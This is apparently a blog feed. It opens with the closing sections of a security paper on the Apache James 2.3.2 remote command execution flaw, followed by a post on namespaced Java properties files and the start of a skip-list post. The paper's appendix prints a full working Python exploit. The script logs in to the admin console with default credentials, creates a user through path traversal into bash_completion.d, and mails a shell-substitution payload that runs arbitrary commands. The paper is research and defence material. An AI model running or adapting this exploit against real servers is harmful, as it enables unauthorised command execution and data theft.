    <span class="nt">--add-forward-port</span><span class="o">=</span><span class="nv">port</span><span class="o">=</span>25:proto<span class="o">=</span>tcp:toport<span class="o">=</span>3325 <span class="se">\</span>
    <span class="nt">--permanent</span></code></pre></figure>

<h1 id="conclusion">Conclusion</h1>

<p>Apache James 2.3.2 is an excellent and practical example of a web service with a security vulnerability that can result in data theft. An insecure default configuration and missing input validation act together to enable attackers to execute arbitrary commands on the mail server. Despite the occurrence of bugs, system administrators can protect their machines by employing a number of techniques that restrict the server from important system resources and limit the ways an attacker can interact with the server. The Apache James 2.3.2 vulnerability and its impact underscores the importance of using a variety of development and deployment strategies to reduce the likelihood of a successful attack.</p>

<h1 id="references">References</h1>

<ul>
  <li>The Apache Software Foundation. (2009, September 2). Apache James (Version 2.3.2) [Source code]. Available from <a href="https://dist.apache.org/repos/dist/release/james/server/apache-james-2.3.2-src.zip">https://dist.apache.org/repos/dist/release/james/server/apache-james-2.3.2-src.zip</a>.</li>
  <li>The Apache Software Foundation. (2015, September 30). Apache James (Version 2.3.2.1) [Source code]. Available from <a href="https://dist.apache.org/repos/dist/release/james/server/james-2.3.2.1-src.zip">https://dist.apache.org/repos/dist/release/james/server/james-2.3.2.1-src.zip</a>.</li>
  <li>Palaczynski, Jakub. (2014, December 10). Apache James Server 2.3.2 - Remote Command Execution. Exploit Database. Retrieved from <a href="https://www.exploit-db.com/exploits/35513/">https://www.exploit-db.com/exploits/35513/</a>.</li>
</ul>

<h1 id="appendix-a">Appendix A</h1>

<h2 id="exploitpy">Exploit.py</h2>

<p>Exploit.py is a Python program that automates the user creation and command queuing exploits discussed in the method and results.</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="sh">"""</span><span class="s">An exploit for Apache James 2.3.2 that executes remote commands.

This script creates a new user and enqueues a payload to be executed the next
time a user logs in to the machine. The vulnerability is documented in
CVE-2015-7611.

For more details, see http://www.securityfocus.com/bid/76933 and
https://www.exploit-db.com/exploits/35513/.
</span><span class="sh">"""</span>

<span class="kn">import</span> <span class="n">gflags</span>
<span class="kn">import</span> <span class="n">logging</span>
<span class="kn">import</span> <span class="n">socket</span>
<span class="kn">import</span> <span class="n">sys</span>

<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_integer</span><span class="p">(</span><span class="sh">'</span><span class="s">admin_port</span><span class="sh">'</span><span class="p">,</span> <span class="mi">4555</span><span class="p">,</span> <span class="sh">'</span><span class="s">The administration tool port.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_integer</span><span class="p">(</span><span class="sh">'</span><span class="s">smtp_port</span><span class="sh">'</span><span class="p">,</span> <span class="mi">25</span><span class="p">,</span> <span class="sh">'</span><span class="s">The SMTP server port.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_string</span><span class="p">(</span><span class="sh">'</span><span class="s">admin_password</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">root</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">The administrator password.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_string</span><span class="p">(</span><span class="sh">'</span><span class="s">admin_user</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">root</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">The administrator username.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_string</span><span class="p">(</span><span class="sh">'</span><span class="s">command</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">,</span> <span class="sh">'</span><span class="s">The command to be executed.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_string</span><span class="p">(</span><span class="sh">'</span><span class="s">exploit_password</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">exploit</span><span class="sh">'</span><span class="p">,</span>
                     <span class="sh">'</span><span class="s">The exploited user</span><span class="se">\'</span><span class="s">s password.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_string</span><span class="p">(</span><span class="sh">'</span><span class="s">exploit_user</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">../../../../../../../../etc/bash_completion.d</span><span class="sh">'</span><span class="p">,</span>
                     <span class="sh">'</span><span class="s">The exploited user</span><span class="se">\'</span><span class="s">s username.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_string</span><span class="p">(</span><span class="sh">'</span><span class="s">host</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">127.0.0.1</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">The Apache James server host.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_string</span><span class="p">(</span><span class="sh">'</span><span class="s">loglevel</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">INFO</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">The log level.</span><span class="sh">'</span><span class="p">)</span>
<span class="n">gflags</span><span class="p">.</span><span class="nc">DEFINE_string</span><span class="p">(</span><span class="sh">'</span><span class="s">sender_email</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">user@domain</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">The sender</span><span class="se">\'</span><span class="s">s email address.</span><span class="sh">'</span><span class="p">)</span>

<span class="n">FLAGS</span> <span class="o">=</span> <span class="n">gflags</span><span class="p">.</span><span class="n">FLAGS</span>

<span class="c1"># The number of bytes to receive from the admin and SMTP servers after each
# command.
</span><span class="n">RECV_BUFSIZE</span> <span class="o">=</span> <span class="mi">1024</span>


<span class="k">def</span> <span class="nf">CreateNewSmtpUser</span><span class="p">(</span><span class="n">connection</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
  <span class="sh">"""</span><span class="s">Creates a new SMTP user via the administration server.

  Args:
    connection: An open socket to the administration server.
    user: The user</span><span class="sh">'</span><span class="s">s username.
    password: The user</span><span class="sh">'</span><span class="s">s password.
  </span><span class="sh">"""</span>
  <span class="n">payload</span> <span class="o">=</span> <span class="p">[</span><span class="sh">'</span><span class="s">adduser %s %s</span><span class="sh">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">),</span> <span class="sh">'</span><span class="s">quit</span><span class="sh">'</span><span class="p">]</span>
  <span class="nc">SendPayload</span><span class="p">(</span><span class="n">connection</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
  <span class="n">logging</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sh">'</span><span class="s">Created new user %s/%s</span><span class="sh">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span>


<span class="k">def</span> <span class="nf">ConnectToAdminServer</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
  <span class="sh">"""</span><span class="s">Connects to the administration server.

  Args:
    host: The host address of the machine.
    port: The port number of the administration server.
    user: The administration server username.
    password: The administration server password.

  Returns:
    An open socket to the administration server.
  </span><span class="sh">"""</span>
  <span class="n">payload</span> <span class="o">=</span> <span class="p">[</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">]</span>
  <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="nf">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
  <span class="n">s</span><span class="p">.</span><span class="nf">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
  <span class="n">s</span><span class="p">.</span><span class="nf">recv</span><span class="p">(</span><span class="n">RECV_BUFSIZE</span><span class="p">)</span>
  <span class="nc">SendPayload</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
  <span class="n">logging</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sh">'</span><span class="s">Connected to the admin console as %s/%s.</span><span class="sh">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span>
  <span class="k">return</span> <span class="n">s</span>


<span class="k">def</span> <span class="nf">ConnectToSmtpServer</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span>
  <span class="sh">"""</span><span class="s">Connects to the SMTP server.

  Args:
    host: The host address of the machine.
    port: The port number of the administration server.

  Returns:
    An open socket to the SMTP server.
  </span><span class="sh">"""</span>
  <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="nf">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
  <span class="n">s</span><span class="p">.</span><span class="nf">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span>
  <span class="n">s</span><span class="p">.</span><span class="nf">recv</span><span class="p">(</span><span class="n">RECV_BUFSIZE</span><span class="p">)</span>
  <span class="n">logging</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sh">'</span><span class="s">Connected to the SMTP server.</span><span class="sh">'</span><span class="p">)</span>
  <span class="k">return</span> <span class="n">s</span>


<span class="k">def</span> <span class="nf">SendPayload</span><span class="p">(</span><span class="n">connection</span><span class="p">,</span> <span class="n">payload</span><span class="p">):</span>
  <span class="sh">"""</span><span class="s">Sends a payload over the socket.

  Args:
    connection: An open socket.
    payload: An array of strings to be sent over the socket.
  </span><span class="sh">"""</span>
  <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">:</span>
    <span class="n">connection</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="sh">'</span><span class="s">%s</span><span class="se">\n</span><span class="sh">'</span> <span class="o">%</span> <span class="n">line</span><span class="p">)</span>
    <span class="n">connection</span><span class="p">.</span><span class="nf">recv</span><span class="p">(</span><span class="n">RECV_BUFSIZE</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">SendCommand</span><span class="p">(</span><span class="n">connection</span><span class="p">,</span> <span class="n">sender</span><span class="p">,</span> <span class="n">recipient</span><span class="p">,</span> <span class="n">command</span><span class="p">):</span>
  <span class="sh">"""</span><span class="s">Sends a command as a mail message to the recipient.

  Args:
    connection: An open connection to the SMTP server.
    sender: The sender</span><span class="sh">'</span><span class="s">s email address.
    recipient: The recipient</span><span class="sh">'</span><span class="s">s email address.
    command: The command to be executed.
  </span><span class="sh">"""</span>
  <span class="n">msg</span> <span class="o">=</span> <span class="p">(</span><span class="sh">'</span><span class="s">From: %s</span><span class="se">\n</span><span class="sh">'</span>
         <span class="sh">'</span><span class="se">\n</span><span class="sh">'</span>
         <span class="sh">'</span><span class="se">\'</span><span class="sh">'</span>
         <span class="sh">'</span><span class="se">\n</span><span class="sh">'</span>
         <span class="sh">'</span><span class="s">$(%s)</span><span class="se">\r\n</span><span class="sh">'</span>
         <span class="sh">'</span><span class="s">.</span><span class="sh">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">sender</span><span class="p">,</span> <span class="n">command</span><span class="p">))</span>
  <span class="n">payload</span> <span class="o">=</span> <span class="p">[</span><span class="sh">'</span><span class="s">EHLO %s</span><span class="se">\r</span><span class="sh">'</span> <span class="o">%</span> <span class="n">sender</span><span class="p">,</span>
             <span class="sh">'</span><span class="s">MAIL FROM: &lt;</span><span class="se">\'</span><span class="s">%s&gt;</span><span class="se">\r</span><span class="sh">'</span> <span class="o">%</span> <span class="n">sender</span><span class="p">,</span>
             <span class="sh">'</span><span class="s">RCPT TO: &lt;%s&gt;</span><span class="se">\r</span><span class="sh">'</span> <span class="o">%</span> <span class="n">recipient</span><span class="p">,</span>
             <span class="sh">'</span><span class="s">DATA</span><span class="se">\r</span><span class="sh">'</span><span class="p">,</span>
             <span class="sh">'</span><span class="s">%s</span><span class="se">\r</span><span class="sh">'</span> <span class="o">%</span> <span class="n">msg</span><span class="p">,</span>
             <span class="sh">'</span><span class="s">QUIT</span><span class="se">\r</span><span class="sh">'</span><span class="p">]</span>
  <span class="nc">SendPayload</span><span class="p">(</span><span class="n">connection</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
  <span class="n">logging</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sh">'</span><span class="s">Sent command %s</span><span class="sh">'</span> <span class="o">%</span> <span class="n">command</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">Main</span><span class="p">(</span><span class="n">argv</span><span class="p">):</span>
  <span class="k">try</span><span class="p">:</span>
    <span class="n">argv</span> <span class="o">=</span> <span class="nc">FLAGS</span><span class="p">(</span><span class="n">argv</span><span class="p">)</span>
  <span class="k">except</span> <span class="n">gflags</span><span class="p">.</span><span class="n">FlagsError</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
    <span class="k">print</span> <span class="sh">'</span><span class="s">%s</span><span class="se">\n</span><span class="s">Usage: %s ARGS</span><span class="se">\n</span><span class="s">%s</span><span class="sh">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">FLAGS</span><span class="p">)</span>
    <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>

  <span class="n">logging</span><span class="p">.</span><span class="nf">basicConfig</span><span class="p">(</span><span class="n">level</span><span class="o">=</span><span class="n">FLAGS</span><span class="p">.</span><span class="n">loglevel</span><span class="p">)</span>

  <span class="c1"># Create a vulnerable user.
</span>  <span class="n">connection</span> <span class="o">=</span> <span class="nc">ConnectToAdminServer</span><span class="p">(</span>
      <span class="n">FLAGS</span><span class="p">.</span><span class="n">host</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">admin_port</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">admin_user</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">admin_password</span><span class="p">)</span>
  <span class="nc">CreateNewSmtpUser</span><span class="p">(</span><span class="n">connection</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">exploit_user</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">exploit_password</span><span class="p">)</span>
  <span class="n">connection</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>

  <span class="c1"># Send a command to the server.
</span>  <span class="n">connection</span> <span class="o">=</span> <span class="nc">ConnectToSmtpServer</span><span class="p">(</span><span class="n">FLAGS</span><span class="p">.</span><span class="n">host</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">smtp_port</span><span class="p">)</span>
  <span class="nc">SendCommand</span><span class="p">(</span>
      <span class="n">connection</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">sender_email</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">exploit_user</span><span class="p">,</span> <span class="n">FLAGS</span><span class="p">.</span><span class="n">command</span><span class="p">)</span>
  <span class="n">connection</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">'</span><span class="s">__main__</span><span class="sh">'</span><span class="p">:</span>
  <span class="nc">Main</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span></code></pre></figure>]]></content><author><name>Kamil Jiwa</name></author><summary type="html"><![CDATA[Abstract]]></summary></entry><entry><title type="html">Namespaces in Java Properties</title><link href="https://crimsonglow.ca/~kjiwa/2012/02/namespaces-in-java-properties.html" rel="alternate" type="text/html" title="Namespaces in Java Properties" /><published>2012-02-03T00:00:00-08:00</published><updated>2012-02-03T00:00:00-08:00</updated><id>https://crimsonglow.ca/~kjiwa/2012/02/namespaces-in-java-properties</id><content type="html" xml:base="https://crimsonglow.ca/~kjiwa/2012/02/namespaces-in-java-properties.html"><![CDATA[<p><em>This post originally appeared on <a href="http://www.optify.net/marketing-technology/adding-namespaces-to-java-properties">Optify’s Lead Generation Blog</a> on February 3, 2012.</em></p>

<p>Many software systems support running in multiple runtime environments – for example, development, staging, and production. Often, the software is written to be agnostic of its environment. Environment-specific settings are stored in configuration files such as config.common.properties, config.development.properties, etc. As the software becomes larger and more complex, the configuration files follow suit, making the system and runtime environment harder to understand and debug.</p>

<p>We have this challenge at Optify: our products include nearly 80 separate configuration files containing over 2 700 lines of property definitions. We wanted to improve our configuration management but we also did not want to introduce a solution that was highly intrusive to our code base. After some thought, we decided that a good solution would involve adding namespace support to Java’s property file syntax.</p>

<p>To illustrate the concept, consider a use case common to most Java projects – logging. In a development environment we might want verbose logs written to the console on stderr, while in production we might want only warnings and errors written to files that are rotated every hour. For example:</p>

<div class="caption">log4j.development.properties</div>

<figure class="highlight"><pre><code class="language-cfg" data-lang="cfg">log4j.rootLogger=DEBUG, A1
log4j.appender.A1=org.apache.log4j.ConsoleAppender
log4j.appender.A1.layout=org.apache.log4j.PatternLayout</code></pre></figure>

<div class="caption">log4j.production.properties</div>

<figure class="highlight"><pre><code class="language-cfg" data-lang="cfg">log4j.rootLogger=WARN, A1
log4j.appender.A1=org.apache.log4j.DailyRollingFileAppender
log4j.appender.A1.datePattern='.'yyyy-MM-dd-HH
log4j.appender.A1.file=application.log
log4j.appender.A1.layout=org.apache.log4j.PatternLayout</code></pre></figure>

<p>This results in 2 configuration files with 8 lines of property definitions.</p>

<p>In a namespace-aware world, our configuration might instead look like this:</p>

<div class="caption">log4j.properties With Namespaces</div>

<figure class="highlight"><pre><code class="language-cfg" data-lang="cfg">*.log4j.rootLogger=DEBUG, A1
*.log4j.appender.A1=org.apache.log4j.ConsoleAppender
*.log4j.appender.A1.layout=org.apache.log4j.PatternLayout

production.log4j.rootLogger=WARN, A1
production.log4j.appender.A1=org.apache.log4j.DailyRollingFileAppender
production.log4j.appender.A1.datePattern='.'yyyy-MM-dd-HH
production.log4j.appender.A1.file=application.log</code></pre></figure>

<p>In this simple example, the namespacing gives us a small improvement, resulting in 1 configuration file and 7 lines of property definitions. Notice the “*” representing the default namespace from which all other namespaces inherit their values.</p>

<p>We decided to try integrating this solution with one of our services. The service had 4 configuration files with 195 lines of property definitions and 29 source files with nearly 6 000 lines of code. The results were promising, with a reduction of over 50% in lines of configuration. The footprint on our codebase was also minimal. Here is a diffstat:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.development.properties |   55 <span class="nt">------</span>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.production.properties  |   52 <span class="nt">------</span>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.properties             |   80 ++++++++++
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.test.properties        |   43 <span class="nt">-----</span>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/config.unittest.properties    |   45 <span class="nt">-----</span>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.java                    |    9 +
6 files changed, 89 insertions<span class="o">(</span>+<span class="o">)</span>, 195 deletions<span class="o">(</span>-<span class="o">)</span></code></pre></figure>

<p>This is a pretty great improvement! We went from 195 lines of property definitions to 80 and changed less than 10 lines of code in 1 source file.</p>

<p>So what is actually required to enable namespace support? Our implementation was a rather simple extension of java.util.Properties. The base class does the hard work of loading and parsing the file, leaving us with the job of parsing the namespace and key. For backward compatibility, we ignored lines that do not appear to have an associated namespace, but you may wish to be more strict by throwing an exception.</p>

<div class="caption">OptifyProperties.java</div>

<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">package</span> <span class="nn">com.optify.config</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.InputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Iterator</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Map</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Properties</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">OptifyProperties</span> <span class="kd">extends</span> <span class="nc">Properties</span> <span class="o">{</span>
  <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">long</span> <span class="n">serialVersionUID</span> <span class="o">=</span> <span class="mi">1L</span><span class="o">;</span>
  <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">_DEFAULT_NAMESPACE</span> <span class="o">=</span> <span class="s">"*"</span><span class="o">;</span>

  <span class="kd">private</span> <span class="nc">String</span> <span class="n">_namespace</span><span class="o">;</span>
  <span class="kd">private</span> <span class="nc">Properties</span> <span class="n">_properties</span><span class="o">;</span>

  <span class="kd">public</span> <span class="nf">OptifyProperties</span><span class="o">(</span><span class="nc">String</span> <span class="n">namespace</span><span class="o">)</span> <span class="o">{</span>
    <span class="kd">super</span><span class="o">();</span>
    <span class="n">_namespace</span> <span class="o">=</span> <span class="n">namespace</span><span class="o">;</span>
    <span class="n">_properties</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Properties</span><span class="o">();</span>
  <span class="o">}</span>

  <span class="kd">public</span> <span class="nf">OptifyProperties</span><span class="o">(</span><span class="nc">String</span> <span class="n">namespace</span><span class="o">,</span> <span class="nc">Properties</span> <span class="n">p</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">this</span><span class="o">(</span><span class="n">namespace</span><span class="o">);</span>
    <span class="n">_copy</span><span class="o">(</span><span class="n">p</span><span class="o">);</span>
  <span class="o">}</span>

  <span class="kd">public</span> <span class="kd">synchronized</span> <span class="nc">Object</span> <span class="nf">setProperty</span><span class="o">(</span><span class="nc">String</span> <span class="n">key</span><span class="o">,</span> <span class="nc">String</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">String</span><span class="o">[]</span> <span class="n">parts</span> <span class="o">=</span> <span class="n">key</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">"\\."</span><span class="o">);</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">parts</span><span class="o">.</span><span class="na">length</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="o">)</span>
      <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>

    <span class="nc">String</span> <span class="n">ns</span> <span class="o">=</span> <span class="n">parts</span><span class="o">[</span><span class="mi">0</span><span class="o">];</span>
    <span class="nc">String</span> <span class="n">k</span> <span class="o">=</span> <span class="n">key</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="n">ns</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">+</span> <span class="mi">1</span><span class="o">);</span>

    <span class="k">if</span> <span class="o">(</span><span class="n">ns</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">_namespace</span><span class="o">))</span> <span class="o">{</span>
      <span class="n">_properties</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">k</span><span class="o">,</span> <span class="n">value</span><span class="o">);</span>
      <span class="k">return</span> <span class="nf">put</span><span class="o">(</span><span class="n">k</span><span class="o">,</span> <span class="n">value</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="k">if</span> <span class="o">(</span><span class="n">ns</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">_DEFAULT_NAMESPACE</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">_properties</span><span class="o">.</span><span class="na">containsKey</span><span class="o">(</span><span class="n">k</span><span class="o">))</span>
      <span class="k">return</span> <span class="nf">put</span><span class="o">(</span><span class="n">k</span><span class="o">,</span> <span class="n">value</span><span class="o">);</span>

    <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
  <span class="o">}</span>

  <span class="kd">public</span> <span class="kd">synchronized</span> <span class="kt">void</span> <span class="nf">load</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">in</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
    <span class="nc">Properties</span> <span class="n">p</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Properties</span><span class="o">();</span>
    <span class="n">p</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="n">in</span><span class="o">);</span>
    <span class="n">_copy</span><span class="o">(</span><span class="n">p</span><span class="o">);</span>
  <span class="o">}</span>

  <span class="kd">private</span> <span class="kt">void</span> <span class="nf">_copy</span><span class="o">(</span><span class="nc">Properties</span> <span class="n">p</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Iterator</span> <span class="n">i</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="na">entrySet</span><span class="o">().</span><span class="na">iterator</span><span class="o">();</span>
    <span class="k">while</span> <span class="o">(</span><span class="n">i</span><span class="o">.</span><span class="na">hasNext</span><span class="o">())</span> <span class="o">{</span>
      <span class="nc">Map</span><span class="o">.</span><span class="na">Entry</span> <span class="n">entry</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Map</span><span class="o">.</span><span class="na">Entry</span><span class="o">)</span> <span class="n">i</span><span class="o">.</span><span class="na">next</span><span class="o">();</span>
      <span class="n">setProperty</span><span class="o">((</span><span class="nc">String</span><span class="o">)</span> <span class="n">entry</span><span class="o">.</span><span class="na">getKey</span><span class="o">(),</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span> <span class="n">entry</span><span class="o">.</span><span class="na">getValue</span><span class="o">());</span>
    <span class="o">}</span>
  <span class="o">}</span>
<span class="o">}</span></code></pre></figure>

<p>Once this file is available in our project, we can load our namespaced configuration files when our system initializes like so:</p>

<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nc">InputStream</span> <span class="n">in</span> <span class="o">=</span> <span class="n">getClass</span><span class="o">().</span><span class="na">getClassLoader</span><span class="o">().</span><span class="na">getResourceAsStream</span><span class="o">(</span><span class="s">"log4j.properties"</span><span class="o">);</span>
<span class="nc">Properties</span> <span class="n">p</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">OptifyProperties</span><span class="o">(</span><span class="s">"production"</span><span class="o">);</span>
<span class="n">p</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="n">in</span><span class="o">);</span></code></pre></figure>

<p>We’re excited to share our solution with the community. We have found it to be a lightweight and powerful extension of the native Java properties format and hope that others benefit from it as much as we have.</p>]]></content><author><name>Kamil Jiwa</name></author><summary type="html"><![CDATA[This post originally appeared on Optify’s Lead Generation Blog on February 3, 2012.]]></summary></entry><entry><title type="html">Skip List</title><link href="https://crimsonglow.ca/~kjiwa/2011/06/skip-list.html" rel="alternate" type="text/html" title="Skip List" /><published>2011-06-01T00:00:00-07:00</published><updated>2011-06-01T00:00:00-07:00</updated><id>https://crimsonglow.ca/~kjiwa/2011/06/skip-list</id><content type="html" xml:base="https://crimsonglow.ca/~kjiwa/2011/06/skip-list.html"><![CDATA[<p><em>Skip lists are a data structure that can be used in place of balanced trees. Skip lists use probabilistic balancing rather than strictly enforced balancing and as a result the algorithms for insertion and deletion in skip lists are much simpler and significantly faster than equivalent algorithms for balanced trees.</em> (Pugh)</p>

<p>My implementation was based on William Pugh’s original paper, which you can download <a href="https://github.com/kjiwa/java-skip-list/raw/master/skiplists.pdf">here</a>. Despite being called a list, the structure described in the paper has the interface of a dictionary, with each node containing a comparable key and a value. The full implementation, its unit tests, and Pugh’s original paper are available under the MIT license on <a href="https://github.com/kjiwa/java-skip-list">GitHub</a>.</p>

<div class="caption">SkipList.java</div>

<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="cm">/*
 * Permission is hereby granted, free of charge, to any person obtaining a
 * copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
 * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
 * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
 * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */</span>
